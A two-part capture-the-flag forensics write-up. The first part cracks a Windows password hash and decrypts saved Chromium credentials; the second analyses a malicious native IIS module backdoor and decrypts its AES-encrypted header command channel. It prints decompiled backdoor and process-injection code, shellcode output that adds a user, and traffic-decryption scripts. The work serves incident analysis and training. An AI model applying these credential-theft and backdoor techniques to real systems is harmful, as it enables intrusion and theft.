What is the exfiltrated username:password?The exfiltrated data is the Chromium AES master key, which is used to decrypt Chromium data such as cookies and saved passwords. To decrypt the data, I needed the encryption key.
First, I needed to get the GUID and SID for the m.thorne user.

GUIDis5915b1e9-8e5d-48dd-b7fd-65f3ace32780SIDisS-1-5-21-1291622023-1877101182-1066255875-1001
Next, I needed to recover the Windows password. Using the SAM and SYSTEM registry hives from the image, I used impacket to dump the password hashes.
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xf848aa522b5e39907ca9dc63c160e859
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0868e02e612c68e42092ed7435511bba:::
m.thorne:1001:aad3b435b51404eeaad3b435b51404ee:3716e9804c41b32fe09dcb2aa4c98071:::
[*] Cleaning up...I used hashcat to crack the password hash of the m.thorne user.
linux@ANM-<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-Intel(R) Core(TM) i7-14700, 2866/5733 MB (1024 MB allocatable), 28MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory allocated for this attack: 519 MB (6768 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
3716e9804c41b32fe09dcb2aa4c98071:BlueAngel25
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 3716e9804c41b32fe09dcb2aa4c98071
Time.Started.....: Mon May 25 14:33:56 2026 (1 sec)
Time.Estimated...: Mon May 25 14:33:57 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 12384.3 kH/s (0.37ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 11382784/14344385 (79.35%)
Rejected.........: 0/11382784 (0.00%)
Restore.Point....: 11354112/14344385 (79.15%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: Bochito -> BORO28
Started: Mon May 25 14:33:55 2026
Stopped: Mon May 25 14:33:58 2026
linux@ANM-<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> hashcat -show hash.txt
The specified parameter cannot use 'how' as a value - must be a number.
linux@ANM-<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration [255]> hashcat -m 1000 hash.txt --show
3716e9804c41b32fe09dcb2aa4c98071:BlueAngel25The password is BlueAngel25. I then used pypykatz with this password to retrieve the browser credentials.
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> set mkf ffffbc8fe1f8c1b0-5915b1e9-8e5d-48dd-b7fd-65f3ace32780
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> set sid S-1-5-21-1291622023-1877101182-1066255875-1001
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> set pass BlueAngel25
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> pypykatz dpapi prekey password $sid $pass
da08b6ad5863d1d89acc076bef2721d73fe7f4c1
0981da863b062d2a5de530c5567a77d46c3eb923
4df02a86e99e3f09e9a67976bd88bac09cdfdfd6
e9609f8a17baa6bbcfd4fc9098570763cc0eb665
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> set prekey da08b6ad5863d1d89acc076bef2721d73fe7f4c1
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> pypykatz dpapi masterkey -o ./masterkey.json $mkf $prekey
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> pypykatz dpapi chrome --logindata "User Data/Default/ffffbc8fe30c00d0-Login Data" ./masterkey.json "User Data/ffffbc8fe30ba180-Local State"
file: User Data/Default/ffffbc8fe30c00d0-Login Data user: admin-03 pass: b'yiz9yzf3HAnhw49hRCtxXEtsL' url: http://dash.night-fall.htb:9080/The answer is admin-03:yiz9yzf3HAnhw49hRCtxXEtsL.
Questions and Answers
| Task | Question | Answer |
|---|---|---|
| 1 | There is an installed service disguised as a Microsoft component. What is the full path of the executable? | C:\Temp\Microsoft Cache\updater.exe |
| 2 | The injector shadows an object into the HKCU registry. Using its CLSID, what is the name of the object? | ADODB.Stream |
| 3 | Following its self-duplication, the malware drops a secondary file onto the system. What is the filename of this secondary file? | kathcjaz.quh |
| 4 | What is the (C#) class name and the corresponding CLSID that is exposed to the COM API (Name:{GUID})? | GrumpyFisherman:{b3ccd9d8-ffec-4de0-8005-185a6364cedb} |
| 5 | What is the CLSID responsible for calling the .NET function that installs the malicious service? | {0128ad20-af37-4421-851c-5c06de5c2b2c} |
| 6 | One of the .NET code’s functions disables BitLocker protection. Which __WINDOWS_CLSID is responsible for that? | {A7A63E5C-3877-4840-8727-C1EA9D7A4D50} |
| 7 | What is the complete exfiltration URL without the key? | http://check.microsoftcloudservices.htb:8000/update/ |
| 8 | What is the exfiltrated username:password? | admin-03:yiz9yzf3HAnhw49hRCtxXEtsL |
MITRE ATT&CK Mapping
| Observed Activity | ATT&CK Tactic | ATT&CK Technique |
|---|---|---|
Malicious Microsoft Update service installed from a temp path | Persistence | T1543.003 - Create or Modify System Process: Windows Service |
| HKCU CLSID shadowing used for COM hijacking | Persistence | T1546.015 - Event Triggered Execution: Component Object Model Hijacking |
| .NET class exposed through COM API | Execution | T1559.001 - Inter-Process Communication: Component Object Model |
Secondary payload dropped as kathcjaz.quh | Defense Evasion | T1027 - Obfuscated Files or Information |
| Browser process token stolen and reused for DPAPI access | Defense Evasion | T1134.001 - Access Token Manipulation: Token Impersonation/Theft |
| Chromium master key and saved browser credential recovered | Credential Access | T1555.003 - Credentials from Password Stores: Credentials from Web Browsers |
BitLocker protection disabled through FveUi COM interaction | Defense Evasion | T1562.001 - Impair Defenses: Disable or Modify Tools |
| Stolen data compressed and sent to the attacker’s HTTP endpoint | Exfiltration | T1041 - Exfiltration Over C2 Channel |
Open Wound
Description
TransitNode, a critical logistics provider, has suffered a severe security breach on their public-facing web server. Following suspicious activities tied to the Rust Faction proxy, the company enacted emergency measures and shut down primary services, replacing the main site with a basic maintenance notification. However, the disruption continued unabated, proving Gilded Weaver had already established a persistent backdoor deep within the infrastructure and was returning to exploit their trusted access. Network traffic was captured during this secondary assault, and a disk image of the compromised staging server was extracted. Task Force Nightfall needs you to investigate these artifacts, uncover how Directorate 9 maintained their hidden persistence, track their lateral movements during the return visit, and recover the critical routing data they targeted before the blackout triggers.
Walkthrough
Initial triage
The challenge provides a .pcap file and a disk image.

According to the description, the artifacts are a web server disk image and network traffic captured during the attack. The .pcap did not reveal much during the first pass; most of the traffic is TCP, with TLS accounting for the majority of the connections.

A public web server is a strong candidate for the initial entry point because it is exposed to the internet. The disk image contains an inetpub folder, which indicates that this is an IIS web server.
Knowing this is an IIS web server, I focused on the main IIS directories, such as inetpub and C:\Windows\System32\inetsrv.
Explanation - inetpub and inetsrv
inetpub is the default directory for hosting web content on an IIS web server. It typically contains subdirectories such as wwwroot where the website files are stored, and logs where the server logs are kept.
inetsrv is the directory that contains the core components and executables for the IIS web server. It includes files such as w3wp.exe, which is the worker process that handles web requests, and appcmd.exe, which is a command-line tool for managing IIS configurations.
IIS Web Server Analysis
The C:\inetpub\logs directory contains the IIS logs, which can provide valuable information about web server activity, including suspicious requests that may indicate an attack. These logs can help identify the attack vector and the actions taken by the attacker. However, most of the logs had already been deleted, so I did not find anything useful there.
Checking the configuration files in C:\Windows\System32\inetsrv\config can also provide insights into the web server’s setup and any potential misconfigurations that may have been exploited by the attacker. The applicationHost.config file is the main configuration file for IIS and contains settings for the web server, including security settings, authentication methods, and application pool configurations. Analyzing this file can help identify any weaknesses in the server’s configuration that may have been exploited.
The configuration shows that DefaultAppPool is running as LocalSystem, which is a highly privileged account. This is risky if the web application running in the application pool is vulnerable, because a successful exploit could give the attacker full control of the server.

I checked which sites were available on the IIS server.

There are three sites, but only one has serverAutoStart set to true: MyAspNetSite. The other two sites were not accessible. MyAspNetSite is just a normal notification page.

The web.config file for MyAspNetSite does not contain anything suspicious, so it was unlikely to be the entry point of the attack. To move forward, I continued with the applicationHost.config file.
In the <modules> section of applicationHost.config, there is a module called RewriterModule. It is not a default IIS module, and it appears to be a recently added third-party module.
<modules>
<add name="HttpCacheModule" lockItem="true" />
<add name="StaticCompressionModule" lockItem="true" />
<add name="DefaultDocumentModule" lockItem="true" />
<add name="DirectoryListingModule" lockItem="true" />
<add name="IsapiFilterModule" lockItem="true" />
<add name="ProtocolSupportModule" lockItem="true" />
<add name="StaticFileModule" lockItem="true" />
<add name="AnonymousAuthenticationModule" lockItem="true" />
<add name="RequestFilteringModule" lockItem="true" />
<add name="CustomErrorModule" lockItem="true" />
<add name="IsapiModule" lockItem="true" />
<add name="HttpLoggingModule" lockItem="true" />
<add name="UrlRoutingModule-4.0" type="System.Web.Routing.UrlRoutingModule" preCondition="managedHandler,runtimeVersionv4.0" />
<add name="ScriptModule-4.0" type="System.Web.Handlers.ScriptModule, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" preCondition="managedHandler,runtimeVersionv4.0" />
<add name="OutputCache" type="System.Web.Caching.OutputCacheModule" preCondition="managedHandler" />
<add name="Session" type="System.Web.SessionState.SessionStateModule" preCondition="managedHandler" />
<add name="WindowsAuthentication" type="System.Web.Security.WindowsAuthenticationModule" preCondition="managedHandler" />
<add name="FormsAuthentication" type="System.Web.Security.FormsAuthenticationModule" preCondition="managedHandler" />
<add name="DefaultAuthentication" type="System.Web.Security.DefaultAuthenticationModule" preCondition="managedHandler" />
<add name="RoleManager" type="System.Web.Security.RoleManagerModule" preCondition="managedHandler" />
<add name="UrlAuthorization" type="System.Web.Security.UrlAuthorizationModule" preCondition="managedHandler" />
<add name="FileAuthorization" type="System.Web.Security.FileAuthorizationModule" preCondition="managedHandler" />
<add name="AnonymousIdentification" type="System.Web.Security.AnonymousIdentificationModule" preCondition="managedHandler" />
<add name="Profile" type="System.Web.Profile.ProfileModule" preCondition="managedHandler" />
<add name="UrlMappingsModule" type="System.Web.UrlMappingsModule" preCondition="managedHandler" />
<add name="ConfigurationValidationModule" lockItem="true" />
<add name="CgiModule" lockItem="true" />
<add name="FastCgiModule" lockItem="true" />
<add name="RewriterModule" preCondition="bitness64" />
</modules>Uploading the module to VirusTotal showed that it was malicious.

RewriterModule Analysis
Using DiE to analyze RewriterModule.dll, I found that the module is written in C/C++.

I used dnSpy to analyze RewriterModule.dll.
According to Microsoft’s documentation, a native IIS module must implement the RegisterModule function.
I searched for the RegisterModule function in RewriterModule.dll.

internal unsafe static int RegisterModule(uint dwServerVersion, IHttpModuleRegistrationInfo* pModuleInfo, IHttpServer* pGlobalInfo)
{
<Module>.srand((uint)<Module>._time64(null));
CMyHttpModuleFactory* ptr = <Module>.@new(8UL);
CMyHttpModuleFactory* ptr2;
if (ptr != null)
{
*(long*)ptr = ref <Module>.??_7CMyHttpModuleFactory@@6B@;
ptr2 = ptr;
}
else
{
ptr2 = 0L;
}
<Module>.pFactory = ptr2;
return calli(System.Int32 modopt(System.Runtime.CompilerServices.IsLong) modopt(System.Runtime.CompilerServices.CallConvCdecl)(System.IntPtr,IHttpModuleFactory*,System.UInt32 modopt(System.Runtime.CompilerServices.IsLong),System.UInt32 modopt(System.Runtime.CompilerServices.IsLong)), pModuleInfo, ptr2, 536870912, 0, *(*(long*)pModuleInfo + 16L));
}The RegisterModule function is the entry point that IIS calls when loading a native module. Its purpose is to register the module’s event handlers and inform IIS which request-processing notifications the module wants to receive.
The function first initializes a CMyHttpModuleFactory object and stores it in a global variable. This factory will later be used by IIS to create instances of CMyHttpModule whenever a request needs to be processed. The final operation performed by the function is an indirect virtual function call through the IHttpModuleRegistrationInfo interface using the calli instruction.
The arguments passed to this call are:
pModuleInfo: a pointer to theIHttpModuleRegistrationInfointerfaceptr2: a pointer to the newly createdCMyHttpModuleFactory536870912(0x20000000): the request notification flag0: no post-request notifications
The decompiler represents the target function as:
*(*(long*)pModuleInfo + 16L)This expression retrieves a function pointer from the virtual function table (vtable) of the IHttpModuleRegistrationInfo object. Since each vtable entry occupies 8 bytes on x64 systems, offset 16 corresponds to the third virtual method in the interface.
Examining httpserv.h from the Windows SDK shows the method order for IHttpModuleRegistrationInfo:

class __declspec(uuid("07e5beb3-b798-459d-a98a-e6c485b2b3bc"))
IHttpModuleRegistrationInfo
{
public:
virtual
PCWSTR
GetName(
VOID
) const = 0;
virtual
HTTP_MODULE_ID
GetId(
VOID
) const = 0;
virtual
HRESULT
SetRequestNotifications(
_In_ IHttpModuleFactory * pModuleFactory,
_In_ DWORD dwRequestNotifications,
_In_ DWORD dwPostRequestNotifications
) = 0;
...Because SetRequestNotifications() is the third virtual method in the interface, the call performed by the decompiled code can be reconstructed as:
pModuleInfo->SetRequestNotifications(
ptr2,
0x20000000,
0
);According to Microsoft’s documentation for IHttpModuleRegistrationInfo::SetRequestNotifications() and the request processing constants, the value 0x20000000 corresponds to RQ_SEND_RESPONSE. This notification is triggered whenever IIS is about to send an HTTP response back to the client. Therefore, the module is registering itself to receive response-processing events rather than request-begin events.
As a result, IIS will use CMyHttpModuleFactory to create instances of CMyHttpModule, and the module’s response-handling callbacks, such as OnSendResponse(), will be invoked whenever a response is sent. This allows the module to inspect, modify, or inject content into outgoing responses and effectively intercept the normal IIS response flow. Malicious functionality is implemented inside these callbacks, allowing the module to operate as a persistent IIS backdoor.
I continued with the analysis of the OnSendResponse() callback to understand how the module operates as a backdoor.

IHttpRequest* ptr =
calli(..., pHttpContext,
*(*(long*)pHttpContext + 24L));
IHttpResponse* ptr2 =
calli(..., pHttpContext,
*(*(long*)pHttpContext + 32L));First, it retrieves the IHttpRequest and IHttpResponse interfaces from the IHttpContext object using virtual function calls. The offsets 24 and 32 correspond to the second and third virtual methods of the IHttpContext interface, which are GetRequest() and GetResponse(), respectively.
long num =
calli(..., ptr3,
*(*(long*)ptr3 + 64L));sbyte* ptr4 = ref <Module>.??_C@_04HCJEIHPL@POST?$AA@;
sbyte b = 80;
sbyte b2 = *num;
if (80 >= b2)
{
while (b <= b2)
{
if (b != 0)
{
ptr4 += 1L;
num += 1L;
b = *ptr4;
b2 = *num;
if (b < b2)
{
break;
}
}
else
{Then, it retrieves the HTTP method of the incoming request by calling a virtual method on the IHttpRequest interface. The offset 64 corresponds to the 13th virtual method, which is GetHttpMethod(). This method returns a pointer to the HTTP method string, such as GET or POST, and its length. The module compares the HTTP method to POST. If the method is POST, it continues with the backdoor functionality. Otherwise, it allows the request to be processed normally by IIS.
After verifying the request method, the module retrieves a custom HTTP header:
ushort num2 = 0;
sbyte* ptr5 =
calli(
ptr,
ref <Module>.?A0xb54538f5.OxPCCSpUZW,
ref num2,
*(*(long*)ptr + 24L)
);This is a call to IHttpRequest::GetHeader(). Analysis of the string table shows that the obfuscated string ?A0xb54538f5.OxPCCSpUZW resolves to X-Auth-Token.



The received header value is copied into a C++ STL string. The code then creates another string using the embedded AES key and calculates the length of a second hardcoded string (<Module>.?A0xb54538f5.APkItmNss), which resolves to IoCreateDevice.

The malware encrypts this string using the embedded AES key and compares the result against the received X-Auth-Token value:
basic_string<char,std::char_traits<char>,std::allocator<char>> basic_string_1;
std::basic_string<char>::{ctor}(
&basic_string_1,
ptr5
);
sbyte* ptr6 = ref <Module>.?A0xb54538f5.APkItmNss;
if (<Module>.?A0xb54538f5.APkItmNss != null)
{
do
{
ptr6 += 1L;
}
while (*ptr6 != 0);
}
sbyte* ptr7 =
ptr6 - ref <Module>.?A0xb54538f5.APkItmNss;
basic_string<char,std::char_traits<char>,std::allocator<char>> basic_string_2;
basic_string<char>* strAesKeyValue =
std::basic_string<char>::{ctor}(
&basic_string_2,
(sbyte*)(&<Module>.?A0xb54538f5.KEY)
);
int size = ptr7;
basic_string<char,std::char_traits<char>,std::allocator<char>> basic_string_3;
EncryptData(
&basic_string_3,
strAesKeyValue,
(void*)(&<Module>.?A0xb54538f5.APkItmNss),
size
);
if (
std::operator!=(
basic_string_1,
basic_string_3
)
)
{
std::basic_string<char>::{dtor}(
&basic_string_3
);
std::basic_string<char>::{dtor}(
&basic_string_1
);
return 0;
}
std::basic_string<char>::{dtor}(
&basic_string_3
);Thus the authentication mechanism of the backdoor is AES_encrypt("IoCreateDevice", key) == X-Auth-Token. If the authentication is successful, the module proceeds to execute the backdoor functionality. Otherwise, it allows the request to be processed normally by IIS.
After authentication succeeds, the malware retrieves a second HTTP header. If the header is missing, the request is discarded.
num2 = 0;
sbyte* ptr8 = calli(System.SByte modopt(System.Runtime.CompilerServices.IsSignUnspecifiedByte) modopt(System.Runtime.CompilerServices.IsConst)* modopt(System.Runtime.CompilerServices.CallConvCdecl)(System.IntPtr,System.SByte modopt(System.Runtime.CompilerServices.IsSignUnspecifiedByte) modopt(System.Runtime.CompilerServices.IsConst)*,System.UInt16*), ptr, ref <Module>.?A0xb54538f5.AedDmVkVgr, ref num2, *(*(long*)ptr + 24L));
if (ptr8 != null)
{
goto IL_175;
}?A0xb54538f5.AedDmVkVgr resolves to Cache-Control.

The rest of the code parses the value of the Cache-Control header and executes commands based on the parsed value.

Next, I needed to understand how the command is decrypted and executed, so I analyzed the EncryptData() and DecryptData() functions.






The DecryptData() function retrieves the encrypted data stored in the Cache-Control header, Base64-decodes it, and decrypts it using AES-256-CBC with the embedded key and static IV. The resulting buffer is interpreted as an ipc_package_header structure and passed to EventHandler(), which dispatches the command to the appropriate backdoor functionality and returns a response packet.
The response packet is then passed to EncryptData(), which encrypts the data using the same AES-256-CBC key and IV, Base64-encodes the resulting ciphertext, and returns it as a string. The encrypted response is subsequently written back to the Cache-Control HTTP response header, forming an encrypted command-and-control channel over HTTP headers.
The function uses AES-256-CBC for encryption. At this point, I had the AES key and IV.
- The key is
3f4156487474704d6f64756c652e12 - The IV is
000102030405060708090a0b0c0d0e0f
Decrypting the traffic
The .pcap file helped identify which IP addresses to focus on.

The IP addresses 192.168.91.174 and 192.168.91.1 are communicating with each other.
Here is a script to decrypt the traffic:
import asyncio
import base64
import pyshark
from Crypto.Cipher import AES
PCAP_FILE = "traffic.pcap"
CLIENT_IP = "192.168.91.1"
SERVER_IP = "192.168.91.174"
AES_KEY_RAW = bytes.fromhex(
"3f4156487474704d6f64756c652e12"
)
KEY = AES_KEY_RAW + b"\x00" * (32 - len(AES_KEY_RAW))
IV = bytes.fromhex(
"000102030405060708090a0b0c0d0e0f"
)
def decrypt_command(cache_control):
try:
if cache_control.startswith("private,"):
cache_control = cache_control[len("private,"):].strip()
enc = base64.b64decode(cache_control)
cipher = AES.new(KEY, AES.MODE_CBC, IV)
dec = cipher.decrypt(enc)
cmd = dec[20:].decode(
"utf-8",
errors="ignore"
).rstrip("\x00")
cmd = "".join(
c for c in cmd
if c.isprintable() or c in "\r\n\t"
)
if len(cmd.strip()) < 2:
return None
return cmd
except:
return None
def extract_ascii(data):
chars = []
for b in data:
if 32 <= b <= 126:
chars.append(chr(b))
elif b in (9, 10, 13):
chars.append(chr(b))
else:
chars.append(" ")
txt = "".join(chars)
while " " in txt:
txt = txt.replace(" ", " ")
return txt.strip()
def decrypt_response(cache_control):
try:
if cache_control.startswith("private,"):
cache_control = cache_control[len("private,"):].strip()
enc = base64.b64decode(cache_control)
cipher = AES.new(KEY, AES.MODE_CBC, IV)
dec = cipher.decrypt(enc)
txt = extract_ascii(dec)
if len(txt.strip()) < 2:
return None
return txt
except:
return None
asyncio.set_event_loop(asyncio.new_event_loop())
cap = pyshark.FileCapture(
PCAP_FILE,
display_filter="http"
)
req_count = 0
resp_count = 0
for pkt in cap:
try:
if not hasattr(pkt, "http"):
continue
src = pkt.ip.src
dst = pkt.ip.dst
cache_control = pkt.http.get_field_value(
"cache_control"
)
if not cache_control:
continue
if (
src == CLIENT_IP
and dst == SERVER_IP
and hasattr(pkt.http, "request_method")
):
cmd = decrypt_command(cache_control)
if cmd:
req_count += 1
print("\n" + "=" * 80)
print(f"[COMMAND #{req_count}]")
print("=" * 80)
print(cmd)
elif (
src == SERVER_IP
and dst == CLIENT_IP
and hasattr(pkt.http, "response")
):
resp = decrypt_response(cache_control)
if resp:
resp_count += 1
print("\n" + "-" * 80)
print(f"[RESPONSE #{resp_count}]")
print("-" * 80)
print(resp)
except Exception:
pass
cap.close()
At this point, I had the commands executed by the attacker and the responses from the server.
The first few commands are reconnaissance commands used to gather information about the system: qwinsta, Get-Service, Get-WebConfiguration -Filter "system.applicationHost/sites/site" -PSPath IIS:\, Get-WebGlobalModule, ls C:\Users\Administrator\Desktop, and ls C:\Users\Administrator\Documents.
While listing the files in Documents, the attacker saw a file called StyleNet_Retail_Network_Design.docx encrypted with gpg. The attacker then tried to decrypt it but failed because the key belonged to Administrator.

They proceeded to save the registry hives and zip them for exfiltration. The archive included SYSTEM, SAM, and SECURITY, likely to retrieve the Administrator credentials. The files were uploaded to https://uguu.se/upload.
The attacker then created iisupdate.zip in %TEMP% and wrote data to it in 4096-byte chunks.

The file was then extracted into three files: Admin.ps1, phant0m.exe, and Scdaemon.dll.

phant0m.exe is an event log killer.
Admin.ps1 is a script used by the attacker to create a scheduled task, run the file with Administrator privileges, and execute it.

Knowing how iisupdate.zip was created, I could reconstruct the file and extract the three files inside.
import asyncio
import base64
import os
import struct
import pyshark
from Crypto.Cipher import AES
asyncio.set_event_loop(asyncio.new_event_loop())
KEY = bytes.fromhex(
"3f4156487474704d6f64756c652e12"
).ljust(32, b"\x00")
IV = bytes(range(16))
os.makedirs("recovered", exist_ok=True)
def u32(buf, off):
return struct.unpack_from("<I", buf, off)[0]
def decrypt(value):
if value.startswith("private,"):
value = value[8:].strip()
return AES.new(
KEY,
AES.MODE_CBC,
IV
).decrypt(base64.b64decode(value))
cap = pyshark.FileCapture(
"traffic.pcap",
display_filter="http.request"
)
for pkt in cap:
try:
if pkt.ip.src != "192.168.91.1":
continue
cc = pkt.http.get_field_value("cache_control")
if not cc:
continue
dec = decrypt(cc)
if u32(dec, 0) != 7:
continue
offset = u32(dec, 12)
size = u32(dec, 16)
path_len = u32(dec, 20)
filename = dec[
24:24 + path_len - 1
].decode(errors="ignore")
chunk = dec[
24 + path_len:
24 + path_len + size
]
outfile = os.path.join(
"recovered",
os.path.basename(filename)
)
with open(
outfile,
"r+b" if os.path.exists(outfile) else "wb"
) as f:
f.seek(offset)
f.write(chunk)
except:
pass
cap.close()
Decrypting Admin.ps1 shows that the script calls the C2 server on port 4444 to run PowerShell. This explains why some traffic on port 4444 is unencrypted. Using the .pcap, I continued to analyze the traffic.


After escalating privileges, the attacker decrypted StyleNet_Retail_Network_Design.docx, copied the decrypted file to %TEMP%, and exfiltrated it to https://uguu.se/upload.


Finally, the attacker deleted traces of the compromise.
Decrypting the document
First, I needed to get the GPG key from the Administrator account. It is located in %APPDATA%\gnupg.

I copied this directory to a VM with GPG installed and extracted the key:
PS C:\WINDOWS\System32> gpg --list-secret-keys
[keyboxd]
---------
sec rsa2048 2025-04-09 [SC] [expires: 2028-04-09]
3CD8AA99D88BFD5232C2821EA208D2CB2DBE2890
uid [ultimate] Administrator
ssb rsa2048 2025-04-09 [E] [expires: 2028-04-09]
E54E985E3B20E92D4D09ACC58D0278CD85D41887Then I used the key to decrypt the document.

The first part of the flag appears in the decrypted document: HTB{D1rty_IIS_n4t1v
Scdaemon.dll analysis
Digging through the remaining traffic did not reveal the second part of the flag. Since I already knew the contents of Admin.ps1 and phant0m.exe from iisupdate.zip, the only file left to analyze was Scdaemon.dll.

It is written in C, so I used IDA to analyze the file.
void __noreturn sub_180001070()
{
void *lpBaseAddress; // [rsp+50h] [rbp-568h]
struct _PROCESS_INFORMATION ProcessInformation; // [rsp+58h] [rbp-560h] BYREF
struct _STARTUPINFOA StartupInfo; // [rsp+70h] [rbp-548h] BYREF
struct _CONTEXT Context; // [rsp+E0h] [rbp-4D8h] BYREF
sub_180001000(&StartupInfo, 104);
StartupInfo.cb = 104;
if ( (unsigned int)sub_1800011F0() )
{
if ( CreateProcessA(
nullptr,
CommandLine,
nullptr,
nullptr,
1,
0x44u,
nullptr,
nullptr,
&StartupInfo,
&ProcessInformation) )
{
Context.ContextFlags = 1048579;
GetThreadContext(ProcessInformation.hThread, &Context);
lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, nullptr, 0x1000u, 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, &unk_180003000, 0x1000u, nullptr);
Context.Rip = (DWORD64)lpBaseAddress;
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
}
}
ExitThread(0);
}This function creates a new process in a suspended state, allocates memory in the target process, writes shellcode to the allocated memory, sets the instruction pointer to the shellcode address, and resumes the thread to execute the shellcode. This is process injection through thread context manipulation rather than classic process hollowing, because the code does not unmap the original image. The shellcode is located at unk_180003000 and has a size of 0x1000 bytes.
import pefile
PE_PATH = "./recovered/Scdaemon.dll"
TARGET_VA = 0x180003000
SIZE = 0x1000
pe = pefile.PE(PE_PATH)
image_base = pe.OPTIONAL_HEADER.ImageBase
for section in pe.sections:
sec_start = image_base + section.VirtualAddress
sec_end = sec_start + section.Misc_VirtualSize
if sec_start <= TARGET_VA < sec_end:
offset = section.PointerToRawData + (TARGET_VA - sec_start)
with open(PE_PATH, "rb") as f:
f.seek(offset)
shellcode = f.read(SIZE)
break
with open("shellcode.bin", "wb") as f:
f.write(shellcode)After using Capstone and emulating the shellcode with speakeasy, I got the second part of the flag:
(speakeasy_env) PS C:\Users\quannd28\Downloads\HTb> speakeasy -a x64 -r -t shellcode.bin
C:\Users\quannd28\Downloads\HTb\speakeasy_env\lib\site-packages\unicorn\unicorn.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
C:\Users\quannd28\Downloads\HTb\speakeasy_env\lib\site-packages\unicorn\unicorn.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
* exec: shellcode
0x110b: 'kernel32.WinExec("net user webadmin \'3_m0dul3_0n_7hE_l04D}\' /add /Y", 0x1)' -> 0x20
0x1118: 'kernel32.GetVersion()' -> 0x1db10106The second part of the flag is 3_m0dul3_0n_7hE_l04D}. Combining with the first part, the full flag is HTB{D1rty_IIS_n4t1v3_m0dul3_0n_7hE_l04D}.
Some insights
Now, coming back to the part where I instinctively found the malicious module in applicationHost.config: my mentor said that this is a gamble because there could be multiple modules, and it is not guaranteed that the malicious module will be the only suspicious one. However, in this case, there was only one unusual module, so it was a safe bet. He suggested that if there were multiple modules, I could analyze the .pcap traffic first to see if anything stood out.
Here is what I think I could have done before looking at applicationHost.config or confirming that one of the modules was malicious.
Let’s look at the IIS traffic from before the attacker gained access to the system.
In stream 318, the X-Auth-Token and the Cache-Control headers are present in the request and look suspicious since they are base64-encoded and do not look like normal values for these headers. The response also has a Cache-Control header with a base64-encoded value.

Continuing with earlier streams such as 317, 316, and 315, the same headers are present with similar values.



The X-Auth-Token stayed the same across all requests, while the request Cache-Control value changed, and the response’s Cache-Control value changed accordingly. This indicates that these values were used for communication instead of being random or test values. It also suggests that these headers were added by a module or another system component, which would lead us to look for suspicious modules in applicationHost.config. At this point, you can test all the modules you find or diff applicationHost.config against a clean copy to find any differences. In this case, I searched for all the modules on Google, and the RewriterModule results returned a legitimate Microsoft module, but with a different name.
MITRE ATT&CK Mapping
| Observed Activity | ATT&CK Tactic | ATT&CK Technique |
|---|---|---|
Malicious native IIS module RewriterModule registered in applicationHost.config | Persistence | T1505.004 - Server Software Component: IIS Components |
| AES-encrypted commands and responses carried in HTTP headers | Command and Control | T1071.001 - Application Layer Protocol: Web Protocols |
